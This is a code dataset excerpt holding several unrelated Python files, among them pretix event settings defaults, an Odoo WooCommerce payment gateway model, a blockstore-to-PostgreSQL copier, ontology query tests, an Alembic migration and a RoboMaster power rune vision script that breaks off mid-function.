'type': bool\n },\n 'waiting_list_hours': {\n 'default': '48',\n 'type': int\n },\n 'ticket_download': {\n 'default': 'False',\n 'type': bool\n },\n 'ticket_download_date': {\n 'default': None,\n 'type': RelativeDateWrapper\n },\n 'ticket_download_addons': {\n 'default': 'False',\n 'type': bool\n },\n 'ticket_download_nonadm': {\n 'default': 'True',\n 'type': bool\n },\n 'event_list_type': {\n 'default': 'list',\n 'type': str\n },\n 'last_order_modification_date': {\n 'default': None,\n 'type': RelativeDateWrapper\n },\n 'cancel_allow_user': {\n 'default': 'True',\n 'type': bool\n },\n 'contact_mail': {\n 'default': None,\n 'type': str\n },\n 'imprint_url': {\n 'default': None,\n 'type': str\n },\n 'confirm_text': {\n 'default': None,\n 'type': LazyI18nString\n },\n 'mail_prefix': {\n 'default': None,\n 'type': str\n },\n 'mail_from': {\n 'default': settings.MAIL_FROM,\n 'type': str\n },\n 'mail_text_signature': {\n 'type': LazyI18nString,\n 'default': \"\"\n },\n 'mail_text_resend_link': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nyou receive this message because you asked us to send you the link\nto your order for {event}.\n\nYou can change your order details and view the status of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_resend_all_links': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nsomebody requested a list of your orders for {event}.\nThe list is as follows:\n\n{orders}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_order_free': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nwe successfully received your order for {event}. As you only ordered\nfree products, no payment is required.\n\nYou can change your order details and view the status of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_order_placed': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nwe successfully received your order for {event} with a total value\nof {total_with_currency}. Please complete your payment before {date}.\n\n{payment_info}\n\nYou can change your order details and view the status of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_order_changed': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nyour order for {event} has been changed.\n\nYou can view the status of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_order_paid': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nwe successfully received your payment for {event}. Thank you!\n\n{payment_info}\n\nYou can change your order details and view the status of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_days_order_expire_warning': {\n 'type': int,\n 'default': '3'\n },\n 'mail_text_order_expire_warning': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nwe did not yet receive a payment for your order for {event}.\nPlease keep in mind that if we only guarantee your order if we receive\nyour payment before {expire_date}.\n\nYou can view the payment information and the status of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_waiting_list': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nyou submitted yourself to the waiting list for {event},\nfor the product {product}.\n\nWe now have a ticket ready for you! You can redeem it in our ticket shop\nwithin the next {hours} hours by entering the following voucher code:\n\n{code}\n\nAlternatively, you can just click on the following link:\n\n{url}\n\nPlease note that this link is only valid within the next {hours} hours!\nWe will reassign the ticket to the next person on the list if you do not\nredeem the voucher within that timeframe.\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_order_canceled': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nyour order {code} for {event} has been canceled.\n\nYou can view the details of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_text_order_custom_mail': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nYou can change your order details and view the status of your order at\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'mail_days_download_reminder': {\n 'type': int,\n 'default': None\n },\n 'mail_text_download_reminder': {\n 'type': LazyI18nString,\n 'default': LazyI18nString.from_gettext(ugettext_noop(\"\"\"Hello,\n\nyou bought a ticket for {event}.\n\nIf you did not do so already, you can download your ticket here:\n{url}\n\nBest regards,\nYour {event} team\"\"\"))\n },\n 'smtp_use_custom': {\n 'default': 'False',\n 'type': bool\n },\n 'smtp_host': {\n 'default': '',\n 'type': str\n },\n 'smtp_port': {\n 'default': 587,\n 'type': int\n },\n 'smtp_username': {\n 'default': '',\n 'type': str\n },\n 'smtp_password': {\n 'default': '',\n 'type': str\n },\n 'smtp_use_tls': {\n 'default': 'True',\n 'type': bool\n },\n 'smtp_use_ssl': {\n 'default': 'False',\n 'type': bool\n },\n 'primary_color': {\n 'default': '#8E44B3',\n 'type': str\n },\n 'primary_font': {\n 'default': 'Open Sans',\n 'type': str\n },\n 'presale_css_file': {\n 'default': None,\n 'type': str\n },\n 'presale_css_checksum': {\n 'default': None,\n 'type': str\n },\n 'presale_widget_css_file': {\n 'default': None,\n 'type': str\n },\n 'presale_widget_css_checksum': {\n 'default': None,\n 'type': str\n },\n 'logo_image': {\n 'default': None,\n 'type': File\n },\n 'invoice_logo_image': {\n 'default': None,\n 'type': File\n },\n 'frontpage_text': {\n 'default': '',\n 'type': LazyI18nString\n },\n 'organizer_info_text': {\n 'default': '',\n 'type': LazyI18nString\n },\n 'update_check_ack': {\n 'default': 'False',\n 'type': bool\n },\n 'update_check_email': {\n 'default': '',\n 'type': str\n },\n 'update_check_perform': {\n 'default': 'True',\n 'type': bool\n },\n 'update_check_result': {\n 'default': None,\n 'type': dict\n },\n 'update_check_result_warning': {\n 'default': 'False',\n 'type': bool\n },\n 'update_check_last': {\n 'default': None,\n 'type': datetime\n },\n 'update_check_id': {\n 'default': None,\n 'type': str\n }\n}\n\nsettings_hierarkey = Hierarkey(attribute_name='settings')\n\nfor k, v in DEFAULTS.items():\n settings_hierarkey.add_default(k, v['default'], v['type'])\n\n\ndef i18n_uns(v):\n try:\n return LazyI18nString(json.loads(v))\n except ValueError:\n return LazyI18nString(str(v))\n\n\nsettings_hierarkey.add_type(LazyI18nString,\n serialize=lambda s: json.dumps(s.data),\n unserialize=i18n_uns)\nsettings_hierarkey.add_type(RelativeDateWrapper,\n serialize=lambda rdw: rdw.to_string(),\n unserialize=lambda s: RelativeDateWrapper.from_string(s))\n\n\n@settings_hierarkey.set_global(cache_namespace='global')\nclass GlobalSettingsObject(GlobalSettingsBase):\n slug = '_global'\n\n\nclass SettingsSandbox:\n \"\"\"\n Transparently proxied access to event settings, handling your prefixes for you.\n\n :param typestr: The first part of the pretix, e.g. ``plugin``\n :param key: The prefix, e.g. the name of your plugin\n :param obj: The event or organizer that should be queried\n \"\"\"\n\n def __init__(self, typestr: str, key: str, obj: Model):\n self._event = obj\n self._type = typestr\n self._key = key\n\n def get_prefix(self):\n return '%s_%s_' % (self._type, self._key)\n\n def _convert_key(self, key: str) -> str:\n return '%s_%s_%s' % (self._type, self._key, key)\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.set(key, value)\n\n def __setattr__(self, key: str, value: Any) -> None:\n if key.startswith('_'):\n return super().__setattr__(key, value)\n self.set(key, value)\n\n def __getattr__(self, item: str) -> Any:\n return self.get(item)\n\n def __getitem__(self, item: str) -> Any:\n return self.get(item)\n\n def __delitem__(self, key: str) -> None:\n del self._event.settings[self._convert_key(key)]\n\n def __delattr__(self, key: str) -> None:\n del self._event.settings[self._convert_key(key)]\n\n def get(self, key: str, default: Any=None, as_type: type=str):\n return self._event.settings.get(self._convert_key(key), default=default, as_type=as_type)\n\n def set(self, key: str, value: Any):\n self._event.settings.set(self._convert_key(key), value)\n","sub_path":"src/pretix/base/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":13529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"249927907","text":"# -*- coding: utf-8 -*-\n# See LICENSE file for full copyright and licensing details.\nfrom odoo import models, fields, _\nfrom odoo.exceptions import UserError\n\n\nclass WooPaymentGateway(models.Model):\n _name = \"woo.payment.gateway\"\n _description = \"WooCommerce Payment Gateway\"\n\n name = fields.Char(\"Payment Method\", required=True)\n code = fields.Char(\"Payment Code\", required=True,\n help=\"The payment code should match Gateway ID in your WooCommerce Checkout Settings.\")\n woo_instance_id = fields.Many2one(\"woo.instance.ept\", string=\"Instance\", required=True)\n active = fields.Boolean(default=True)\n\n _sql_constraints = [('_payment_gateway_unique_constraint', 'unique(code,woo_instance_id)',\n \"Payment gateway code must be unique in the list\")]\n\n def woo_check_and_create_payment_methods(self, instance, payment_methods_data):\n \"\"\"\n This method checks for existing methods and creates if not existed.\n @param instance: Record of Instance.\n @param payment_methods_data: Response from WooCommerce of payment methods.\n \"\"\"\n for payment_method in payment_methods_data:\n if payment_method.get('enabled'):\n name = payment_method.get('title')\n code = payment_method.get('id')\n existing_payment_gateway = self.search([('code', '=', code), ('woo_instance_id', '=', instance.id)]).ids\n if existing_payment_gateway or not name or not code:\n continue\n self.create({'name': name, 'code': code, 'woo_instance_id': instance.id})\n return True\n\n def woo_get_payment_gateway(self, instance):\n \"\"\"\n Get all active payment methods from woocommerce by calling API.\n \"\"\"\n log_line_obj = self.env[\"common.log.lines.ept\"]\n common_log_book_obj = self.env[\"common.log.book.ept\"]\n model_id = log_line_obj.get_model_id(self._name)\n common_log_book_id = common_log_book_obj.create({\"type\": \"import\", \"module\": \"woocommerce_ept\",\n \"woo_instance_id\": instance.id, \"active\": True})\n wc_api = instance.woo_connect()\n try:\n response = wc_api.get(\"payment_gateways\")\n except Exception as error:\n raise UserError(_(\"Something went wrong while importing Payment Gateways.\\n\\nPlease Check your Connection \"\n \"and Instance Configuration.\\n\\n\" + str(error)))\n if response.status_code not in [200, 201]:\n message = response.content\n if message:\n log_line_obj.create({\"model_id\": model_id, \"message\": message, \"log_book_id\": common_log_book_id.id})\n return False\n payment_data = response.json()\n self.woo_check_and_create_payment_methods(instance, payment_data)\n\n if not common_log_book_id.log_lines:\n common_log_book_id.unlink()\n return True\n","sub_path":"woo_commerce_ept/models/payment_gateway.py","file_name":"payment_gateway.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"50567250","text":"#!/usr/bin/env python3\n\nfrom reblockstorer.loader import BlockLoader\nfrom binascii import hexlify\nimport psycopg2\nimport argparse\nfrom pathlib import Path\n\nparser = argparse.ArgumentParser(\n description='Copy Hyperledger Iroha blockstore from files to PostgreSQL.')\nparser.add_argument(\n '-b',\n '--blockstore',\n dest='blockstore',\n type=lambda p: Path(p).absolute(),\n help='Source blockstore directory path',\n required=True)\nparser.add_argument(\n '-c',\n '--connectionstring',\n dest='connectionstring',\n type=str,\n help='PostgreSQL connection string',\n required=True)\nparser.add_argument(\n '-f',\n '--force',\n dest='force',\n action='store_true',\n help='Force overwrite blocks table in PostgreSQL')\nargs = parser.parse_args()\n\nblock_loader = BlockLoader(args.blockstore)\nconn = psycopg2.connect(args.connectionstring)\n\ncur = conn.cursor()\nif args.force:\n cur.execute('TRUNCATE blocks')\nfor block in block_loader.blocks():\n cur.execute('INSERT INTO blocks (height, block_data) VALUES(%s, %s)',\n (block.block_v1.payload.height,\n hexlify(block.block_v1.SerializeToString()).decode('ascii')))\nconn.commit()\n\ncur.close()\nconn.close()\n","sub_path":"blockstore-files-to-pg.py","file_name":"blockstore-files-to-pg.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"479190429","text":"import unittest\nfrom QueryDisont import QueryDisont\n\n\nclass QueryDisontTestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.disont = QueryDisont()\n\n def test_query_disont_to_child_disonts(self):\n bte_result = self.disont.query_disont_to_child_disonts(\"DOID:9352\")\n rtx_result = {1837, 10182, 11712}\n self.assertSetEqual(bte_result, rtx_result)\n\n bte_result = self.disont.query_disont_to_child_disonts(\"DOID:12365\")\n rtx_result = {12919, 12978, 14067, 14068, 14069, 14324, 14325}\n self.assertSetEqual(bte_result, rtx_result)\n\n def test_query_disont_to_child_disonts_desc(self):\n # RTX gets {'DOID:11712': 'lipoatrophic diabetes'} while\n # BioThings Explorer gets {'DOID:11712': 'lipoatrophic diabetes mellitus'}\n\n # bte_result = self.disont.query_disont_to_child_disonts_desc(\"DOID:9352\")\n # rtx_result = {'DOID:10182': 'diabetic peripheral angiopathy',\n # 'DOID:11712': 'lipoatrophic diabetes',\n # 'DOID:1837': 'diabetic ketoacidosis'}\n # print(bte_result)\n # self.assertEqual(len(bte_result), len(rtx_result))\n # for key, value in bte_result.items():\n # self.assertEqual(rtx_result[key], value)\n\n bte_result = self.disont.query_disont_to_child_disonts_desc(\"DOID:12365\")\n rtx_result = {'DOID:12919': 'Plasmodium ovale malaria',\n 'DOID:12978': 'Plasmodium vivax malaria',\n 'DOID:14067': 'Plasmodium falciparum malaria',\n 'DOID:14068': 'blackwater fever',\n 'DOID:14069': 'cerebral malaria',\n 'DOID:14324': 'Plasmodium malariae malaria',\n 'DOID:14325': 'mixed malaria'}\n self.assertEqual(len(bte_result), len(rtx_result))\n for key, value in bte_result.items():\n self.assertEqual(rtx_result[key], value)\n\n def test_query_disont_to_label(self):\n bte_result = self.disont.query_disont_to_label(\"DOID:0050741\")\n rtx_result = 'alcohol dependence'\n self.assertEqual(bte_result, rtx_result)\n\n bte_result = self.disont.query_disont_to_label(\"DOID:12365\")\n rtx_result = 'malaria'\n self.assertEqual(bte_result, rtx_result)\n\n def test_query_disont_to_mesh_id(self):\n bte_result = self.disont.query_disont_to_mesh_id(\"DOID:9352\")\n rtx_result = {'D003924'}\n self.assertSetEqual(bte_result, rtx_result)\n\n bte_result = self.disont.query_disont_to_mesh_id(\"DOID:1837\")\n rtx_result = {'D016883'}\n self.assertSetEqual(bte_result, rtx_result)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_QueryDisont.py","file_name":"test_QueryDisont.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"545967932","text":"\"\"\"four\n\nRevision ID: dcd49d70e6b2\nRevises: b20acab79ab7\nCreate Date: 2019-07-09 08:11:21.626302\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'dcd49d70e6b2'\ndown_revision = 'b20acab79ab7'\nbranch_labels = None\ndepends_on = None\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('temp_products',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.Unicode(length=255), nullable=False),\n sa.Column('price', sa.Integer(), nullable=False),\n sa.Column('data', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_temp_products')),\n sa.UniqueConstraint('name', name=op.f('uq_temp_products_name'))\n )\n op.add_column('products', sa.Column('product_id', sa.Integer(), nullable=True))\n op.create_foreign_key(op.f('fk_products_product_id_temp_products'), 'products', 'temp_products', ['product_id'], ['id'])\n # ### end Alembic commands ###\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(op.f('fk_products_product_id_temp_products'), 'products', type_='foreignkey')\n op.drop_column('products', 'product_id')\n op.drop_table('temp_products')\n # ### end Alembic commands ###\n","sub_path":"pyramid_cafe/alembic/versions/20190709_dcd49d70e6b2.py","file_name":"20190709_dcd49d70e6b2.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"191766172","text":"import asyncio\nimport time\n\nimport aiohttp\n\n\nTOKEN = 'Replace this string with your token'\nTRACK_FILE = '20_tracks' # Change it to `40_tracks` and `60_tracks` and see the result\n\n\nasync def fetch_track(track_id):\n async with aiohttp.request('GET',\n 'https://api.kkbox.com/v1.1/tracks/' + track_id,\n params={'territory': 'TW'},\n headers={'Authorization': 'Bearer ' + TOKEN}) as resp:\n return await resp.json()\n\n\nasync def fetch_tracks_briefly(track_ids):\n results = list()\n futures = asyncio.as_completed(\n [fetch_track(track_id) for track_id in track_ids])\n\n for count, future in enumerate(futures, start=1):\n track_info = await future\n results.append((\n track_info['id'],\n track_info['name'],\n track_info['album']['artist']['name']))\n print('Fetched {} tracks.'.format(count))\n return results\n\n\ndef main():\n with open(TRACK_FILE) as f:\n track_ids = [track_id.strip() for track_id in f]\n\n loop = asyncio.get_event_loop()\n start = time.time()\n results = loop.run_until_complete(fetch_tracks_briefly(track_ids))\n end = time.time()\n\n for track_brief in results:\n print('{} {} {}'.format(*track_brief))\n print('Fetched {} tracks in {:.3f} seconds.'.format(\n len(results), end-start))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/fetch_asyncio.py","file_name":"fetch_asyncio.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"45444367","text":"#!/usr/bin/python3\n\"\"\"module\"\"\"\n\n\nimport urllib.request\n\n\nwith urllib.request.urlopen('https://intranet.hbtn.io/status') as url:\n read = url.read()\ndecode = read.decode(\"utf-8\")\nprint('Body response:\\n\\t- type: {}\\n\\t- content: {}\\n\\t- utf8 content: {}'\n .format(type(read), read, decode))\n","sub_path":"0x10-python-network_1/0-hbtn_status.py","file_name":"0-hbtn_status.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"150259547","text":"# -*- coding: utf-8 -*-\n# Import the database object (db) from the main application module \n# We will define this inside /app/__init__.py in the next sections. \n\nfrom app import db\n\nfrom sqlalchemy import ForeignKey\nfrom sqlalchemy.orm import relationship, backref\n\n# Define a base model for other database tables to inherit \nclass ExecuteBaseModel(db.Model): \n \n __abstract__ = True \n \n audit_id = db.Column(db.String(20), nullable = False, default='SYSTEM') \n date_created = db.Column(db.DateTime, default=db.func.current_timestamp()) \n date_modified = db.Column(db.DateTime, default=db.func.current_timestamp(), onupdate=db.func.current_timestamp()) \n\n# Define a User model \nclass ExecuteRequestDtl(ExecuteBaseModel): \n \n __tablename__ = 'EXECUTE_REQUEST_DTL'\n\n dtm = db.Column(db.String(16), nullable = False, primary_key = True)\n #dtm = db.Column(db.String(16), ForeignKey('EXECUTE_REQUEST_SPC.dtm'), primary_key = True)\n scnrio_num = db.Column(db.Integer, nullable = False, primary_key = True) \n #scnrio_num = db.Column(db.Integer, ForeignKey('EXECUTE_REQUEST_SPC.scnrio_num'), primary_key = True) \n case_num = db.Column(db.Integer, primary_key = True) \n \n # \n execute_requst_dtm = db.Column(db.DateTime, primary_key = True, default = db.func.current_timestamp(), nullable = False) \n execute_terminate_dtm = db.Column(db.DateTime, nullable = True)\n\n # 00 : 요청이력저장, 01 : 스크립트파일 수행 완료, 02 : 스크립트파일수행\n execute_st_cd = db.Column(db.String(2), nullable = False)\n execute_rslt_cd = db.Column(db.String(2), nullable = True)\n\n execute_msg = db.Column(db.String(2000), nullable = True) \n footer_msg = db.Column(db.String(2000), nullable = True)\n alert_msg = db.Column(db.String(2000), nullable = True)\n error_msg = db.Column(db.String(2000), nullable = True)\n\n # Relationship \n # step_rslts = relationship(\"ExecuteStepRslt\") # Class Name\n # step_imgs = relationship(\"ExecuteStepImg\") # Class Name\n \n # New instance instantiation procedure \n def __init__(self):\n pass\n\n def setKeyValue(self, dtm, scnrio_num, case_num):\n self.dtm = dtm\n self.scnrio_num\n self.case_num = case_num\n \n def __repr__(self): \n repr = '''\n <dtm : [%s]>\n <scnrio_num : [%s]>\n <case_num : [%s]>\n <execute_requst_dtm : [%s]>\n <execute_terminate_dtm : [%s]>\n <execute_st_cd : [%s]>\n <execute_rslt_cd : [%s]>\n <execute_msg : [%s]>\n <error_msg : [%s]>\n <audit_id : [%s]> \n ''' % (self.dtm, self.scnrio_num, self.case_num, self.execute_requst_dtm, self.execute_terminate_dtm, self.execute_st_cd, self.execute_rslt_cd, self.execute_msg, self.error_msg, self.audit_id)\n return repr\n\n def as_dict(self):\n return {x.name: getattr(self, x.name) for x in self.__table__.columns}\n\n def getKeyList(self):\n return [self.dtm, self.scnrio_num, self.case_num]\n\n def setAll(self, dtm, scnrio_num, case_num, execute_requst_dtm, execute_terminate_dtm, execute_st_cd, execute_rslt_cd, execute_msg, footer_msg, alert_msg, error_msg, audit_id, date_created, date_modified):\n self.audit_id = audit_id\n self.date_created = date_created\n self.date_modified = date_modified\n\n self.dtm = dtm\n self.scnrio_num = scnrio_num \n self.case_num = case_num\n\n self.execute_requst_dtm = execute_requst_dtm\n self.execute_terminate_dtm = execute_terminate_dtm\n\n self.execute_st_cd = execute_st_cd\n self.execute_rslt_cd = execute_rslt_cd\n\n self.execute_msg = execute_msg\n self.footer_msg = footer_msg\n self.alert_msg = alert_msg\n self.error_msg = error_msg\n\n def setExecuteData(self, dtm, scnrio_num, case_num, execute_st_cd, execute_rslt_cd, execute_msg, error_msg):\n self.dtm = dtm\n self.scnrio_num = scnrio_num\n self.case_num = case_num\n\n self.execute_st_cd = execute_st_cd\n self.execute_rslt_cd = execute_rslt_cd\n\n self.execute_msg = execute_msg\n self.error_msg = error_msg","sub_path":"app/mod_execute/models/execute_request_dtl.py","file_name":"execute_request_dtl.py","file_ext":"py","file_size_in_byte":4237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"514074639","text":"class Demo1:\n a=10\n _b=100\n __c=1000\n def sayHi(self):\n print('Hi')\n def _sayHello(self):\n print('Hello')\n def __sayBye(self):\n print('Bye')\n\nclass Demo2(Demo1):\n def accessingMembersInDemo2(self):\n print('---INSIDE DEMO2---')\n print(Demo1.a,Demo1._b)\n ob=Demo1()\n ob.sayHi()\n ob._sayHello()\nclass Demo3:\n def accessingMembersInDemo3(self):\n print('---INSIDE DEMO3---')\n print(Demo1.a)\n ob = Demo1()\n ob.sayHi()\n\nob=Demo2()\nob.accessingMembersInDemo2()\nob1=Demo3()\nob1.accessingMembersInDemo3()\n\n","sub_path":"Python_9to10_June21Apps/project1/oopsexample/Ex13.py","file_name":"Ex13.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"515912294","text":"''' RoboMaster Power Rune Vision\n\nThis code enables recognition of the 'Activating' target panel on the power\nrune in the 2019 RoboMaster challenge 'Standard Racing & Smart Firing' to be\nshot. Both a one-time recognition (image) and a continuous recognition (video)\noption are available.\n\nRunning this code requires the following packages to be installed:\n - numpy: NumPy, fundamental scientific computing package\n - scipy: SciPy, scientific computing package\n - cv2: OpenCV, computer vision and machine learning package\n - matplotlib: 2D plotting package\n\nThe file \"constants.py\" containing default values and constants should be\nplaced in the same directory as this file.\n'''\n\nfrom math import sin, cos\nimport time\nimport matplotlib.pyplot as plt\nfrom scipy.signal import find_peaks\nimport numpy as np\nimport cv2\nfrom constants import CNT_PANELS, TARGET_RAD, ANGLE_SEP, INC_ANGLE_NBHD, \\\n ANGLE_INC, WHEEL_RAD, STATE_ACTIVATING, STATE_ACTIVE, STAGE_DONE, \\\n STATE_INACTIVE, ANGLE_MAX, LUM_THRESH_BW, LUM_MAX, ANGLE_VALS, FRAME_DIM, LUM_THRESH_LOW, CNTR_DIM, R_DIM, \\\n LUM_THRESH_HIGH, INC_ANGLE_MAX, MASK_DIM, MASK_RAD, DEG_TO_RAD, INC_ANGLE_SEP, \\\n RED, GREEN, BLUE, FRAME_CNTR, WHEEL_R_INC, CNTR_OFFSET, WHEEL_RECNTR_FREQ, \\\n ANGLE_ESTIMATE_DIST, WHEEL_ROTDIR_CNT\n\n\nclass WheelVision():\n\n class Panels():\n def __init__(self, firstAngle, firstLumin, rotDir):\n self.timeInit = time.time()\n self.angles = [round(firstAngle)]\n self.lumins = [round(firstLumin)]\n self.states = [STATE_ACTIVATING]\n self.activated = False\n self.rotDir = rotDir\n\n for i in range(1, CNT_PANELS):\n self.angles += [round(firstAngle + i * ANGLE_SEP) % ANGLE_MAX]\n self.lumins += [0]\n self.states += [STATE_INACTIVE]\n\n def angleActivating(self):\n for index in range(CNT_PANELS):\n if self.states[index] == STATE_ACTIVATING:\n return self.angles[index]\n return None\n\n def anglesInactive(self):\n angles = []\n for index in range(CNT_PANELS):\n if self.states[index] == STATE_INACTIVE:\n angles += [self.angles[index]]\n return angles\n\n def calibrate(self, angle):\n # calibrate given an angle close to a lit panel\n pass\n\n class Capture():\n def __init__(self, src, srcDims, srcClr, cropCntr, cropDim):\n self.src = src\n self.srcDims = srcDims\n self.srcClr = srcClr\n\n self.frame = None\n self.frameClr = None\n self.cropDim = cropDim\n self.cropTL = (round(cropCntr[0] - cropDim/2),\n round(cropCntr[1] - cropDim/2))\n self.cropBR = (round(cropCntr[0] + cropDim/2),\n round(cropCntr[1] + cropDim/2))\n\n def setCropCntrFm(self, cropCntrFm):\n sclFactor = FRAME_DIM / self.cropDim\n cropCntrDx = round((cropCntrFm[0] - FRAME_DIM/2) / sclFactor)\n cropCntrDy = round((cropCntrFm[1] - FRAME_DIM/2) / sclFactor)\n self.cropTL = (self.cropTL[0] + cropCntrDx,\n self.cropTL[1] + cropCntrDy)\n self.cropBR = (self.cropBR[0] + cropCntrDx,\n self.cropBR[1] + cropCntrDy)\n\n def updateBW(self):\n read, self.frame = self.src.read()\n self.frameClr = self.srcClr\n if read:\n self.cropAndResize()\n self.convertColor('BW')\n return read\n\n def cropAndResize(self):\n self.frame = self.frame[self.cropTL[1]: self.cropBR[1],\n self.cropTL[0]: self.cropBR[0]]\n self.frame = cv2.resize(self.frame, (FRAME_DIM, FRAME_DIM))\n\n def convertColor(self, clr):\n if self.frameClr != clr:\n if clr == 'BW':\n self.convertColor('GRAY')\n _, self.frame = cv2.threshold(self.frame, LUM_THRESH_BW,\n LUM_MAX, cv2.THRESH_BINARY)\n elif self.frameClr == 'BW':\n conversion = eval('cv2.COLOR_' + 'GRAY' + '2' + clr)\n self.frame = cv2.cvtColor(self.frame, conversion)\n else:\n conversion = eval('cv2.COLOR_' + self.frameClr + '2' + clr)\n self.frame = cv2.cvtColor(self.frame, conversion)\n self.frameClr = clr\n\n def drawCirc(self, cntr, rad, clr, thickness=2):\n cv2.circle(self.frame, (round(cntr[0]), round(cntr[1])),\n round(rad), clr, thickness)\n\n def drawSqr(self, coordsCntr, dim, clr, thickness=1):\n xTL, yTL = coordsCntr\n points = np.array([[round(xTL-dim/2), round(yTL-dim/2)],\n [round(xTL+dim/2), round(yTL-dim/2)],\n [round(xTL+dim/2), round(yTL+dim/2)],\n [round(xTL-dim/2), round(yTL+dim/2)]],\n dtype=np.int32)\n cv2.polylines(self.frame, [points], True, clr, thickness=thickness)\n\n def show(self, title, delayMs):\n cv2.imshow(title, self.frame)\n cv2.waitKey(delayMs)\n\n def __init__(self, src, srcDims, srcClr, cropCntr, cropDim):\n self.cap = self.Capture(src, srcDims, srcClr, cropCntr, cropDim)\n self.panels = None\n self.rotDir = None # ±1 indicates CW/CCW wheel rotation\n\n # TODO: REMOVE THESE OPTIONS IN THE FINAL VERSION OF THE CODE\n self.showDisp = None\n self.showPlot = None\n self.timeStart = None\n self.timeSetup = None\n self.timeStop = None\n self.cntFrames = 0\n\n # ---------- HANDLING DIFFERENT MODES OF EXECUTION ---------- #\n def run(self, modeCalib=False, showDisp=True, showPlot=False,\n contRecntr=False):\n self.timeStart = time.time()\n self.showDisp = showDisp\n self.showPlot = showPlot\n\n if not contRecntr and self.cap.updateBW():\n self.recntrCap()\n self.initPanels()\n self.timeSetup = time.time()\n\n if modeCalib:\n modeFunc = self.calib\n else:\n modeFunc = self.bare\n while self.cap.updateBW():\n if contRecntr and (self.cntFrames % WHEEL_RECNTR_FREQ == 0):\n self.recntrCap()\n modeFunc()\n self.cntFrames += 1\n\n self.timeStop = time.time()\n self.printTime()\n\n def calib(self):\n self.cap.convertColor('BGR')\n self.cap.drawCirc(FRAME_CNTR, MASK_RAD, GREEN, MASK_DIM)\n self.cap.drawCirc(FRAME_CNTR, 2, RED, -1)\n self.cap.drawCirc(FRAME_CNTR, TARGET_RAD, RED)\n self.cap.drawCirc(FRAME_CNTR, WHEEL_RAD, GREEN)\n self.cap.drawSqr((FRAME_CNTR[0] - CNTR_OFFSET[0],\n FRAME_CNTR[1] - CNTR_OFFSET[1]), R_DIM, GREEN)\n self.cap.drawSqr((FRAME_CNTR[0] - CNTR_OFFSET[0],\n FRAME_CNTR[1] - CNTR_OFFSET[1]), CNTR_DIM, GREEN)\n self.cap.show('Calibration', 10)\n\n def bare(self):\n\n if self.showDisp:\n self.cap.convertColor('BGR')\n if self.wheelStatus == STAGE_SHOOT:\n angleTarget = self.panelActivatingAngle * DEG_TO_RAD\n coordsTarget = (round(WHEEL_CNTR[0] + TARGET_RAD * sin(angleTarget)),\n round(WHEEL_CNTR[1] - TARGET_RAD * cos(angleTarget)))\n cv2.circle(self.frame, coordsTarget, 5, RED, -1)\n cv2.imshow('Bare', self.frame)\n cv2.waitKey(50)\n\n # ---------- FOR DEBUGGING AND OPTIMIZATION PURPOSES ---------- #\n def printTime(self):\n setupTime = self.timeSetup - self.timeStart\n totalTime = 